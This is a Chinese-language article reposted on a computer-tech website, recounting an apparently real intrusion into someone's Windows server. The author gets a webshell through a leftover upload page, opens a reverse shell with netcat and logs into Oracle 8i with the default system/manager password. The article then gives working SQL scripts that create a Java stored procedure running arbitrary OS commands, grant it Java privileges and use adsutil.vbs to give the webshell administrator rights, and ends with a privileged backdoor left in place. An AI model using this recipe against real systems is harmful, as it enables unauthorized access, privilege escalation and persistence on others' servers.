收藏本站 
广告服务 
网站地图 
>> 我们从网络和杂志上收集了近100000余篇各类电脑技术、网络技术、软件技术等方面的文章教程,我们的收录原则:不是精华拒不收录!
先飞电脑技术网技术文章
网络编程 | 网站建设 | 网络技术 | 设计教程 | 软件教学 | 程序开发 | 数据库开发 | 教育认证 | 硬件维护 | 媒体动画 | 机械电子 |
利用ORACLE系统账户默认口令提升权限
[ 作者:佚名    转贴自:网络转载    阅读次数:67    更新时间:2007-8-7 12:10:00   录入:刘光勇 ]         
    近日,偶到一主机上逛了一圈。主机的配置还算是安全,偏偏一个比较隐藏的目录下残留了upfile.asp,结果轻轻松松的得到了webshell。

接着在主机上逛了逛,拿出superscan从外面扫了下,只开放了80端口。从user\程序目录里,发现有一快捷方式:firecontrol,好象是某款硬件防火墙的控制台。WEBSHELL下检测了下开放的服务,发现一般的可提权的方法都不可行,无SERV-U等等,主机的补丁也是打到了最新。试了下传了个NC上去,反连接得到一SHELL,这下比在老兵的管理器里舒服多了。

在C盘下看到一个目录oracle,看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件,确定了主机的服务名“xxx”,看了下版本“oracle 8i”,用数据库连接器

Provider=MSDAORA.1;Password=manager;User ID=system;Data

Source=xxxx试了下默认的system账户,密码manager,结果真的就连接到了本地的oracle服务。这下好了,oracle的system账户就像是mssql下的sa,我们来通过他来提升权限,马上编辑了几个脚本。

1.sql

create or replace and compile
java source named "Util"
as
import java.io.*;
import java.lang.*; 
public class Util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int rc = -1; 
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =
new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len); 
rc = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
rc = -1;
}
finally
{
return rc;
}
}
}

2.sql

create or replace
function RUN_CMD(p_cmd in varchar2) return number
as
language java
name 'Util.RunThis(java.lang.String) return integer';

3.sql

create or replace procedure RC(p_cmd in varchar2)
as
x number;
begin
x := run_cmd(p_cmd);
end;

保存在c:\下,然后用反连接得到的shell运行

sqlplus system/manager@xxx

然后再来执行脚本

SQL>@C:\1.sql
SQL>@C:\2.sql
SQL>@C:\3.sql

看到JAVA已创建、函数已创建、过程已创建,接着我们继续

SQL> variable x number;
SQL> set serveroutput on
SQL> exec dbms_java.set_output(100000);
SQL>grant javasyspriv to system

看到授权成功。接着我们就可以来执行系统命令了。我想先把ASP.dll加入特权一组

SQL>exec :x := RUN_CMD('cscript adsutil.vbs set /W3SVC/InProcessIsapiApps 
"c:\winnt\system32\inetsrv\asp.dll" ');

看到过程已经成功完成,这个时候我们重新登陆我们的webshell,他已经具有admin权限了。接着,再用NC返回一个shell,已经是管理权限的,我们可以做我们想干的事了。因为这个主机有防火墙过滤除80以外的端口,所以不好做图形的后门,只有留下一有权限的webshell。到此已经提权成功。
【加入到收藏夹】告诉好友】【打印此文】【关闭窗口
  版权声明:本站提供的“利用ORACLE系统账户默认口令提升权限”版权归文章所有者,转载请注明出处!
 ·上一篇文章:谨慎防范网络隐患以此来保护Oracle数据      ·下一篇文章:Oracle的远程复制与异地容灾的经典解析
相关文章
·利用SQL属性像Access一样显示注释[28]
·利用系统自带命令搞定手工杀毒[75]
·利用DW快速批处理图片链接[37]
·黑客利用Javascript逃避检测入侵台式电脑[98]
·端口说明及389端口的利用方法[27]
网站主页 | 收藏本页 | 联系我们 | 广告服务 | 站点地图 | 会员注册 | 招聘信息 | 内容指正

联系QQ:先飞电脑技术网站事务联系QQ,点击可以直接留言. 32933427 电话:13710542091 [世界排名] 鄂ICP备05005890号